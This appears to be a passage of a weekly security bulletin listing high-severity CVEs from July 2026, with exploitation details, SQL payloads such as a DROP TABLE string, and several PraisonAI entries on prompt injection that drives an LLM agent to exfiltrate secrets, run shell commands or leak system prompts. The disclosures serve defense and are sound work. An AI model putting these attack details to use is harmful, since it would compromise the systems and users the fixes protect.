| lepture--mistune                                                         | Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, a run of closed tilde, equals-sign, or caret marker pairs around a character causes quadratic work in src/mistune/plugins/formatting.py when the strikethrough, mark, or insert plugin scans for matching markers from each possible start position, allowing denial of service through CPU exhaustion. This issue is fixed in version 3.3.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-08 | 7.5        | <a href="#">CVE-2026-59922</a> |
| lepture--mistune                                                         | Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, long sequences of well-formed double-asterisk or triple-asterisk emphasis pairs around a character cause quadratic work in src/mistune/inline_parser.py because the parser scans forward for matching close markers from every potential opening run, allowing denial of service in default Mistune parsing. This issue is fixed in version 3.3.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-08 | 7.5        | <a href="#">CVE-2026-59925</a> |
| lepture--mistune                                                         | Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, a Markdown document containing many repeated or distinct reference-link definitions causes quadratic work in src/mistune/block_parser.py and the ref_links environment dictionary handling, allowing denial of service through CPU exhaustion. This issue is fixed in version 3.3.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-08 | 7.5        | <a href="#">CVE-2026-59928</a> |

# High Vulnerabilities

| Primary Vendor -- Product  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|----------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| libp2p--js-libp2p          | libp2p is a JavaScript Implementation of libp2p networking stack. Prior to 16.0.0, @libp2p/gossipsub defaultDecodeRpcLimits set maxIhaveMessageIDs and maxIwantMessageIDs to Infinity, allowing oversized IHAVE and IWANT control message arrays in message/decodeRpc.ts and gossipsub.ts to synchronously iterate roughly 180,000 message IDs per 4 MB frame and block the Node.js event loop. This issue is fixed in version 16.0.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-08 | 7.5        | <a href="#">CVE-2026-49866</a> |
| LibreBooking--LibreBooking | LibreBooking's email template editor save action passes the submitted template name directly into the destination file path, allowing a remote attacker with administrator credentials to write an arbitrary file outside the template directory and execute code. Fixed in 5.1.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-09 | 7.2        | <a href="#">CVE-2026-61343</a> |
| lima-vm--lima              | Lima launches Linux virtual machines, typically on macOS, for running containerd. Prior to 2.1.3, on an instance of Lima running with the qemu driver, an arbitrary user in the VM could access /run/lima-guestagent.sock when the guest agent is enabled, which could result in running arbitrary commands with root privileges in the VM because the guest agent socket provides tunneling for arbitrary addresses, including Unix socket addresses for privileged daemons like D-Bus. This issue is fixed in version 2.1.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-10 | 8.2        | <a href="#">CVE-2026-53657</a> |
| LocalAI--LocalAI           | LocalAI contains an unauthenticated server-side request forgery vulnerability in the POST /models/apply endpoint that allows attackers to fetch arbitrary internal URLs. The endpoint passes unsanitized gallery URL fields directly to gallery.GetGalleryConfigFromURLWithContext without proper validation, enabling attackers to force the server to issue HTTP GET requests to private and loopback ranges with partial response content leaked through error messages.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-07 | 8.6        | <a href="#">CVE-2026-59707</a> |
| LoginPress--LoginPress Pro | The LoginPress Pro plugin for WordPress is vulnerable to Authentication Bypass via Unverified OAuth Email in all versions up to and including 6.2.3. The vulnerability exists in the loginpress_on_discord_login() Discord OAuth callback handler, which accepts the email field returned by Discord's /users/@me endpoint without ever checking that the profile's verified flag is true, then directly maps that email to a local WordPress account via get_user_by('email', \$profile['email']) and issues an authenticated session cookie via wp_set_auth_cookie(). This makes it possible for unauthenticated attackers to take over any existing WordPress account - including administrator accounts - by registering a Discord account configured with an unverified email address that matches the target user's registered WordPress email and completing the standard Discord OAuth flow.                                                                                                                                                                                                                                                                                                  | 2026-07-09 | 8.1        | <a href="#">CVE-2026-12595</a> |
| LoginPress--LoginPress Pro | The LoginPress Pro plugin for WordPress is vulnerable to Authentication Bypass via the GitHub OAuth callback in versions up to, and including, 6.2.3. The vulnerability exists in the loginpress_on_github_login() function, which blindly trusts the first element (profile[0]['email']) of the array returned by GitHub's /user/emails endpoint as an account-binding identifier without verifying that the email carries a verified === true status. This makes it possible for unauthenticated attackers to log in as any existing WordPress user, including administrators, by adding an unverified email address matching a local account to their GitHub profile and triggering the OAuth callback via a crafted code parameter - causing the plugin to call get_user_by('email', ...) and establish an authenticated session for the matched account. Practical exploitation is conditional on GitHub returning the attacker-added unverified email at index 0 of the /user/emails response, as GitHub typically prioritizes the primary verified address first; nonetheless, the absence of any email verification check in the plugin constitutes a fundamental authentication bypass flaw. | 2026-07-09 | 8.1        | <a href="#">CVE-2026-12597</a> |
| LoginPress--LoginPress Pro | The LoginPress Pro plugin for WordPress is vulnerable to authentication bypass in versions up to and including 6.2.3 via the Spotify Social Login addon. This is due to the loginpress_on_spotify_login() function trusting the unverified 'email' field returned by Spotify's /v1/me endpoint and using it directly with get_user_by('email', \$profile['email']) to identify and log in an existing WordPress account, without confirming that the Spotify user actually owns the email address (Spotify documents that the profile email is unverified) and without requiring the user to prove ownership of the matching WordPress account. This makes it possible for unauthenticated attackers to log in as any existing WordPress user, including Administrators, by registering a Spotify account using the targeted user's email address and authenticating via the Spotify provider.                                                                                                                                                                                                                                                                                                        | 2026-07-09 | 8.1        | <a href="#">CVE-2026-12598</a> |
| logto-io--logto            | Logto is the modern, open-source auth infrastructure for SaaS and AI apps. Prior to 1.41.0, Logto's Account Center step-up check accepted any active verification record that belonged to the current user and had isVerified === true. A WebAuthn registration verification record for binding a new passkey could be created and verified with only an existing Account API bearer token, then sent in the logto-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-10 | 8.1        | <a href="#">CVE-2026-55377</a> |

# High Vulnerabilities

| Primary Vendor -- Product                          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                    | verification-id header and treated as identityVerified=true by Account Center routes, allowing MFA factor management without proving possession of an existing password, identifier, or MFA factor. This issue is fixed in version 1.41.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |            |            |                                |
| logto-io--logto                                    | Logto is the modern, open-source auth infrastructure for SaaS and AI apps. Prior to 1.41.0, Logto's self-hosted SAML application IdP built the signed SAML response and assertion by string-substituting user-controlled profile attributes such as name, email, and custom attribute-mapping values into element-text placeholders of a SAML XML template using samlify 2.10.0, which left those placeholders unescaped. An authenticated low-privilege user could place XML markup in a profile attribute so Logto signed a forged SAML attribute, such as an arbitrary role, allowing privilege escalation at relying Service Providers that authorize on SAML attributes. This issue is fixed in version 1.41.0.                                                                                                                                                                | 2026-07-10 | 8.5        | <a href="#">CVE-2026-55789</a> |
| loopus--WP Cost Estimation & Payment Forms Builder | The WP Cost Estimation & Payment Forms Builder (E&P Forms) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'customerInfos' parameter in all versions up to, and including, 10.5.97 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-09 | 7.2        | <a href="#">CVE-2026-9253</a>  |
| lucee--Lucee                                       | Lucee CFML Server versions across the 5.3.x, 6.1.x, 6.2.x, and 7.0.x release lines contain a reflected cross-site scripting vulnerability in URL path parsing that allows unauthenticated remote attackers to execute arbitrary JavaScript in a victim's browser by embedding HTML or JavaScript payloads within the request path. Attackers can craft a malicious URL containing injected script content that is reflected in the server's response without proper output encoding, enabling session hijacking or unauthorized actions against the Lucee administrative interface when a victim visits the crafted link.                                                                                                                                                                                                                                                           | 2026-07-10 | 8.2        | <a href="#">CVE-2026-29519</a> |
| markdown-it--linkify-it                            | linkify-it is a links recognition library with full Unicode support. Prior to 5.0.2, the mailto: schema validator used by .test() and .match() can be invoked at every mailto: occurrence and scan the remaining input through src_email_name in lib/re.mjs, causing O(n^2) CPU consumption on crafted user text. This issue is fixed in version 5.0.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-08 | 7.5        | <a href="#">CVE-2026-59887</a> |
| masaakitana--Booking Package                       | The Booking Package plugin for WordPress is vulnerable to generic SQL Injection via 'email' Form Parameter (form<N>) in all versions up to, and including, 1.7.20 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The vulnerable REST API endpoint /wp-json/booking-package/v1/request is registered with permission_callback: __return_true and wp_magic_quotes does not apply to REST-sourced \$_POST values, meaning single quotes in the payload reach the SQL sink intact without any authentication requirement. The impact of this is severely limited as the vulnerable parameter goes through is_email. | 2026-07-11 | 7.5        | <a href="#">CVE-2026-15335</a> |
| mem0--mem0                                         | mem0's openmemory/api component contains an unauthenticated access vulnerability that allows unauthenticated attackers to read, write, and delete arbitrary user memories by accessing API routers registered without authentication middleware. Attackers can supply arbitrary user_id parameters or directly access memory retrieval endpoints to expose private memory content, or invoke pause endpoints with global_pause=true to cause denial-of-service across all users.                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-07 | 9.8        | <a href="#">CVE-2026-59705</a> |
| mem0--mem0                                         | mem0 contains unauthenticated config API endpoints that expose LLM API keys in plaintext and allow server-side request forgery via attacker-controlled ollama_base_url parameter. Unauthenticated attackers can retrieve stored secrets like OpenAI API keys via GET /api/v1/config/ or trigger SSRF attacks by setting ollama_base_url to internal addresses like cloud IMDS via PUT /api/v1/config/mem0/llm endpoint.                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-07 | 9.3        | <a href="#">CVE-2026-59706</a> |
| MervinPraison--PraisonAI                           | PraisonAI before 1.6.78 contains a remote code execution vulnerability in CodeAgent._execute_python() that executes LLM-generated Python code without AST validation, import restrictions, or sandbox enforcement. Attackers can influence LLM output through prompt injection to exfiltrate all environment secrets and execute arbitrary code on the host system.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-11 | 10         | <a href="#">CVE-2026-61447</a> |
| MervinPraison--PraisonAI                           | PraisonAI before 4.6.78 fails to validate the caller-controlled dimension argument in the PGVector and Cassandra knowledge-store create_collection() backends. Although schema, keyspace, and collection-name identifiers are validated, the dimension value (declared as int but not enforced at runtime) is interpolated directly into the vector column of the generated CREATE TABLE DDL. A caller able to influence collection-creation dimensions can pass a string such as '3'); DROP                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-11 | 9.8        | <a href="#">CVE-2026-60090</a> |



# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | TABLE tenant_secrets; --' to inject SQL/CQL tokens into the statement executed by the database driver.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| MervinPraison--PraisonAI  | PraisonAI versions before 4.6.78 contain a code injection vulnerability in deploy/api.py where the agents_file parameter is directly interpolated into an f-string without sanitization. Attackers can inject arbitrary Python code that executes when the generated server code runs via subprocess.Popen().                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-10 | 9.1        | <a href="#">CVE-2026-61444</a> |
| MervinPraison--PraisonAI  | PraisonAI before 4.6.78 contains arbitrary file write and command execution vulnerabilities in the AICoder component due to missing path validation and command sanitization in LLM tool calls. Attackers can inject malicious prompts through the chat interface to write files to arbitrary filesystem locations and execute arbitrary shell commands with root privileges.                                                                                                                                                                                                                                                                                                                    | 2026-07-11 | 9.9        | <a href="#">CVE-2026-61445</a> |
| MervinPraison--PraisonAI  | PraisonAI before 1.7.3 contains an insecure default configuration that binds to all interfaces with no API key requirement and wildcard CORS. Unauthenticated attackers can call GET /api/agents to read agent instructions and system prompts, or POST /api/chat to invoke agents without authentication.                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-11 | 8.6        | <a href="#">CVE-2026-61426</a> |
| MervinPraison--PraisonAI  | PraisonAI versions before 1.6.78 contain a server-side request forgery vulnerability in the Crawl4AI/Chromium backend that allows attackers to bypass SSRF validation by exploiting DNS rebinding and HTTP redirects. Attackers can craft URLs that resolve to internal services after the initial validation check, enabling the headless browser to follow redirects and read internal responses including sensitive canary values.                                                                                                                                                                                                                                                            | 2026-07-11 | 8.5        | <a href="#">CVE-2026-61429</a> |
| MervinPraison--PraisonAI  | PraisonAI versions before 4.6.78 contain an allowlist bypass vulnerability in shell command execution that allows attackers to execute restricted commands via find's built-in -exec, -execdir, and -delete actions. Attackers can craft find commands with these built-in actions to read blocked files, delete files, or execute non-allowlisted binaries without triggering shell metacharacter filters.                                                                                                                                                                                                                                                                                      | 2026-07-10 | 8.8        | <a href="#">CVE-2026-61434</a> |
| MervinPraison--PraisonAI  | PraisonAI before 4.6.78 contains an unauthenticated server-side request forgery vulnerability in the Jobs API /api/v1/runs endpoint. The webhook_url parameter is validated at request time but re-resolved at connection time, allowing attackers to use DNS rebinding to reach internal services with a blind SSRF attack.                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-10 | 7.2        | <a href="#">CVE-2026-60091</a> |
| MervinPraison--PraisonAI  | PraisonAI AgentMail versions before 4.6.78 lack signature verification in webhook mode, allowing unauthenticated attackers to inject messages with spoofed sender addresses. Attackers can POST crafted message.received events to the webhook endpoint to inject arbitrary content into the agent and trigger replies to attacker-controlled addresses, bypassing sender allow/block lists.                                                                                                                                                                                                                                                                                                     | 2026-07-11 | 7.3        | <a href="#">CVE-2026-61428</a> |
| MervinPraison--PraisonAI  | PraisonAI (pip package praisonaiagents) before 1.6.78 contains an unsafe dynamic module loading vulnerability in AgentFlow._resolve_pydantic_class (src/praisonaiagents/praisonaiagents/workflows/workflows.py). When a workflow step uses a string output_pydantic reference, the framework locates and imports a sibling tools.py from the workflow file's directory via importlib exec_module without sandboxing, ignoring the PRAISONAI_ALLOW_*_TOOLS environment variables. An attacker who controls a workflow file and its sibling tools.py can execute arbitrary Python code with the workflow runner's privileges when the workflow is executed via WorkflowManager or after load_yaml. | 2026-07-10 | 7.8        | <a href="#">CVE-2026-61437</a> |
| MervinPraison--PraisonAI  | PraisonAI versions before 4.6.78 contain a prompt injection defense misconfiguration where the block threshold defaults to CRITICAL severity, allowing HIGH-level threats to pass through unblocked. Attackers can submit single-vector prompt injection attacks such as instruction overrides or financial manipulation that trigger HIGH severity detection but are logged without blocking, enabling system prompt extraction and unauthorized tool invocations.                                                                                                                                                                                                                              | 2026-07-11 | 7.5        | <a href="#">CVE-2026-61439</a> |
| MervinPraison--PraisonAI  | PraisonAI Platform (praisonai-platform) before 0.1.9 fails to enforce owner/admin authorization on the PATCH routes for projects, issues, and agents, which only require workspace-member role. A workspace member can modify owner-created records; for projects, a member can reassign lead_id to their own user id and then delete the owner-created project, bypassing the delete route's owner/admin permission check.                                                                                                                                                                                                                                                                      | 2026-07-11 | 7.1        | <a href="#">CVE-2026-61442</a> |
| metabase--metabase        | Metabase is an open-source business intelligence and embedded analytics tool. From 1.55.0 until 1.58.15.1, 1.59.12, 1.60.6.3, and 1.61.2, Metabase did not validate unsafe H2 connection properties on one database-creation code path, allowing an authenticated administrator to register a crafted H2 database connection and execute arbitrary Java code on the Metabase server. This issue is fixed in versions 1.58.15.1, 1.59.12, 1.60.6.3, and 1.61.2.                                                                                                                                                                                                                                   | 2026-07-09 | 9.1        | <a href="#">CVE-2026-59826</a> |
| metabase--metabase        | Metabase is an open-source business intelligence and embedded analytics tool. Prior to 1.58.15, 1.59.12, 1.60.6.3, and 1.61.1.4, Metabase instances with an H2 database connection, including the default sample database, deserialize arbitrary                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-09 | 9.9        | <a href="#">CVE-2026-59827</a> |

## High Vulnerabilities

| Primary Vendor -- Product                                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                  | Java objects returned in H2 native query result columns of type OTHER without validation, allowing an authenticated user who can run native H2 queries to execute code on the Metabase server. This issue is fixed in versions 1.58.15, 1.59.12, 1.60.6.3, and 1.61.1.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |            |            |                                |
| metagauss--<br>EventPrime Events Calendar, Bookings and Tickets                  | The EventPrime - Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'new_event_type_background_color' parameter in all versions up to, and including, 4.3.4.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with custom-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the plugin's Guest Submissions setting (allow_submission_by_anonymous_user) to be enabled, which allows unauthenticated attackers to submit event types via the frontend form; when that setting is disabled, exploitation requires at minimum a subscriber-level authenticated account. | 2026-07-09 | 7.2        | <a href="#">CVE-2026-13441</a> |
| Metasoft --<br>MetaCRM                                                           | A weakness has been identified in Metasoft ç%Žç‰°¹è½¬ă»¶ MetaCRM up to 6.4.0 Beta06. This vulnerability affects the function RPCService.query of the file /customizemt/xkq/rpc.jsp of the component PHPRPC Remote Call Interface. Executing a manipulation of the argument phprpc_args can lead to sql injection. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                | 2026-07-12 | 7.3        | <a href="#">CVE-2026-15514</a> |
| Micro-Star<br>International (MSI)--<br>KernCoreLib64.sys                         | MSI Feature Manager contains a local privilege escalation vulnerability in the KernCoreLib64.sys kernel driver that allows any locally logged-on user to perform arbitrary physical memory read/write and unrestricted I/O port operations by accessing exposed IOCTL handlers without administrator privileges. Attackers can exploit the accessible device object through IOCTL handlers to manipulate kernel objects, tamper with kernel-mode callbacks, bypass Protected Process Light protections, and disable security software.                                                                                                                                                                                                                                                      | 2026-07-07 | 7.8        | <a href="#">CVE-2026-57851</a> |
| Microsoft--<br>Dynamics 365 Customer Voice                                       | Improper neutralization of input during web page generation ('cross-site scripting') in Dynamics 365 Customer Voice allows an unauthorized attacker to perform spoofing over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 9.3        | <a href="#">CVE-2026-47646</a> |
| Microsoft--<br>Microsoft Edge (Chromium-based)                                   | Deserialization of untrusted data in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-11 | 8.3        | <a href="#">CVE-2026-58281</a> |
| Microsoft--<br>Microsoft Edge (Chromium-based)                                   | Improper access control in Microsoft Edge (Chromium-based) allows an unauthorized attacker to bypass a security feature over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 8.2        | <a href="#">CVE-2026-58525</a> |
| Microsoft--<br>Microsoft Edge (Chromium-based)                                   | Untrusted pointer dereference in Microsoft Edge (Chromium-based) allows an unauthorized attacker to elevate privileges over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-12 | 8.3        | <a href="#">CVE-2026-58596</a> |
| miniOrange Security Software Pvt Ltd.--OAuth Single Sign On - SSO (OAuth Client) | Authentication Bypass Using an Alternate Path or Channel vulnerability in miniOrange Security Software Pvt Ltd. OAuth Single Sign On - SSO (OAuth Client) allows Password Recovery Exploitation. This issue affects OAuth Single Sign On - SSO (OAuth Client): from n/a through 38.5.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-10 | 9.8        | <a href="#">CVE-2026-57807</a> |
| mockoon--<br>mockoon                                                             | Mockoon provides way to design and run mock APIs. Prior to 9.7.0, Mockoon's admin API in commons-server/src/libs/server/admin-api.ts is mounted on the same Express listener as user-defined mock routes, enabled by default in shipped runtimes, serves Access-Control-Allow-Origin: * with write methods allowed, and has no authentication. Any unauthenticated caller who can reach the mock server port can read MOCKOON_* environment variables, write arbitrary process environment variables through /mockoon-admin/env-vars, rewrite mock route bodies, statuses, and headers through PUT /mockoon-admin/environment, read transaction logs and SSE streams, and purge state. This issue is fixed in version 9.7.0.                                                                | 2026-07-09 | 8.8        | <a href="#">CVE-2026-59148</a> |
| mohammed_kaludi--AMP for WP Accelerated Mobile Pages                             | The AMP for WP - Accelerated Mobile Pages plugin for WordPress is vulnerable to Arbitrary File Write in versions up to and including 1.1.12. This is due to unsafe ZIP file extraction in the ampforwp_save_local_font() function combined with inadequate cleanup that fails to remove nested directories and files. This makes it possible for authenticated attackers, with Author-level access and above, and permissions granted by an Administrator, to write arbitrary files to the server in a web-accessible location, potentially leading to remote code execution on hosts that execute PHP files in the uploads directory.                                                                                                                                                      | 2026-07-07 | 7.5        | <a href="#">CVE-2026-6101</a>  |

# High Vulnerabilities

| Primary Vendor -- Product                                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Monsta Limited of New Zealand-- Monsta FTP                        | Monsta FTP before 2.14.5 contains a server-side request forgery vulnerability in the fetchRemoteFile action caused by an incomplete IP blocklist check in the isBlockedIP() function, which fails to detect embedded IPv4 addresses within IPv4-mapped IPv6 addresses. An unauthenticated attacker can obtain a CSRF token from the public getSystemVars endpoint and submit a fetchRemoteFile request with a source URL resolving to an IPv4-mapped address, causing the server to issue HTTP requests to internal services and write responses to an attacker-controlled FTP destination, enabling retrieval of cloud instance metadata credentials.       | 2026-07-08 | 8.6        | <a href="#">CVE-2026-60105</a> |
| n8n--n8n                                                          | n8n before 1.123.55, 2.25.7, and 2.26.2 contains an authorization bypass in the POST /workflows/{workflowId}/test-runs/new endpoint, which authorizes access using the workflow:read scope instead of workflow:execute. An authenticated user with read-only access to a workflow can trigger a real evaluation test run, causing the workflow to execute via the internal workflow runner and resulting in unintended outbound API calls, data mutations, or other side effects in connected downstream systems. The issue primarily affects instances using the Evaluations feature where RBAC project roles grant workflow:read without workflow:execute. | 2026-07-08 | 7.4        | <a href="#">CVE-2026-56776</a> |
| nats-io--nats-server                                              | NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.0, 2.12.7, and 2.11.16, when no_auth_user was configured, a parser fast path intended for ordinary client connections could also apply to route or leafnode listeners, allowing an unauthenticated peer to bypass inter-server CONNECT authentication and operate with the privileges associated with that connection type. This issue is fixed in versions 2.14.0, 2.12.7, and 2.11.16.                                                                                                                                                     | 2026-07-08 | 8.8        | <a href="#">CVE-2026-58253</a> |
| nats-io--nats-server                                              | NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a client able to send account-scoped connection monitoring requests could crash the server by supplying Connz pagination Offset and Limit values that overflowed internal arithmetic before the response window was safely bounded. This issue is fixed in versions 2.14.3 and 2.12.12.                                                                                                                                                                                                                                       | 2026-07-08 | 7.7        | <a href="#">CVE-2026-58207</a> |
| nats-io--nats-server                                              | NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, an unauthenticated MQTT client could cause the server to retain large incomplete MQTT CONNECT packets before authentication completed, consuming server memory while the parser waited for the advertised MQTT packet length. This issue is fixed in versions 2.14.3 and 2.12.12.                                                                                                                                                                                                                                             | 2026-07-08 | 7.5        | <a href="#">CVE-2026-58210</a> |
| nats-io--nats-server                                              | NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.1 and 2.12.9, an MQTT client could include protocol control characters in subscription filters that were later forwarded as NATS protocol data to route or leafnode connections, corrupting the forwarded protocol stream and allowing injection of unintended NATS protocol operations. This issue is fixed in versions 2.14.1 and 2.12.9.                                                                                                                                                                                                  | 2026-07-08 | 7.1        | <a href="#">CVE-2026-58213</a> |
| nats-io--nats-server                                              | NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.12.8 and 2.11.17, an unauthenticated peer with network access to a leafnode listener with compression enabled could crash the server during the pre-authentication leafnode handshake by sending repeated leafnode INFO protocol messages before authentication and account setup completed. This issue is fixed in versions 2.12.8 and 2.11.17.                                                                                                                                                                                                | 2026-07-08 | 7.5        | <a href="#">CVE-2026-58250</a> |
| nesquena--hermes-webui                                            | Hermes WebUI before 0.51.307 contains an authentication bypass vulnerability that allows unauthenticated remote attackers to circumvent local-origin IP restrictions on onboarding endpoints by supplying a spoofed X-Forwarded-For header with a loopback address. Attackers can exploit this bypass to perform server-side request forgery against internal services including cloud metadata endpoints, overwrite LLM provider configuration and API keys with attacker-controlled values, or initiate OAuth device-code flows to obtain persistent access tokens stored in auth.json.                                                                    | 2026-07-09 | 9.1        | <a href="#">CVE-2026-58122</a> |
| nesquena--hermes-webui                                            | Hermes WebUI before 0.51.788 contains an unauthenticated remote code execution vulnerability that allows remote attackers to execute arbitrary shell commands by accessing the embedded terminal API endpoints without credentials. Attackers can create a session, attach a PTY shell, and write arbitrary commands through the terminal input endpoint to achieve full command execution as the server process user via four sequential unauthenticated HTTP requests.                                                                                                                                                                                     | 2026-07-09 | 9.8        | <a href="#">CVE-2026-58123</a> |
| nicu_m--Simple JWT Login Allows you to use JWT on REST endpoints. | The Simple JWT Login - Allows you to use JWT on REST endpoints. plugin for WordPress is vulnerable to Authentication Bypass to Privilege Escalation in all versions up to, and including, 3.6.6 via the 'payload' parameter. The vulnerability exists because 'AuthenticateService::generatePayload()' only overwrites JWT payload keys whose names appear in the admin-configured 'jwt_payload' list -                                                                                                                                                                                                                                                      | 2026-07-11 | 8.8        | <a href="#">CVE-2026-14262</a> |

# High Vulnerabilities

| Primary Vendor -- Product                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                     | leaving any attacker-supplied identity claims such as `email`, `id`, or `username` intact and signed into the JWT with the site's HS256 secret. This makes it possible for authenticated attackers, with subscriber-level access and above, to escalate their privileges to that of an Administrator by injecting a target administrator's email address into the `payload` parameter at the `/wp-json/simple-jwt-login/v1/auth` endpoint, then redeeming the resulting JWT at the `/autologin` endpoint to obtain a fully authenticated session as that administrator.                                                                                                                                                                                                                                                                                                                                                                            |            |            |                                |
| ninjew--GEO my WP                                   | The GEO my WP plugin for WordPress was vulnerable to SQL Injection via the 'distance', 'lat', and 'lng' parameters in versions up to, and including, 4.5.4. The values were read from \$_SERVER['QUERY_STRING'] via parse_str() (bypassing wp_magic_quotes, which does not cover \$_SERVER), then passed through bare esc_sql() before being interpolated into unquoted numeric positions in the proximity-search query (HAVING/SELECT clause distance math, BETWEEN bounding-box pre-filter) built by gmw_locations_query() in plugins/posts-locator/includes/class-gmw-wp-query.php. Because esc_sql() only escapes string delimiters and these positions are numeric, payloads such as `1 OR SLEEP(3)` survived sanitization. Fixed in 4.5.5 by adding an upstream is_numeric() guard that short-circuits the WHERE clause to `AND 1 = 0` when either coordinate is non-numeric, and by replacing the three esc_sql() calls with (float) casts. | 2026-07-10 | 9.1        | <a href="#">CVE-2026-15300</a> |
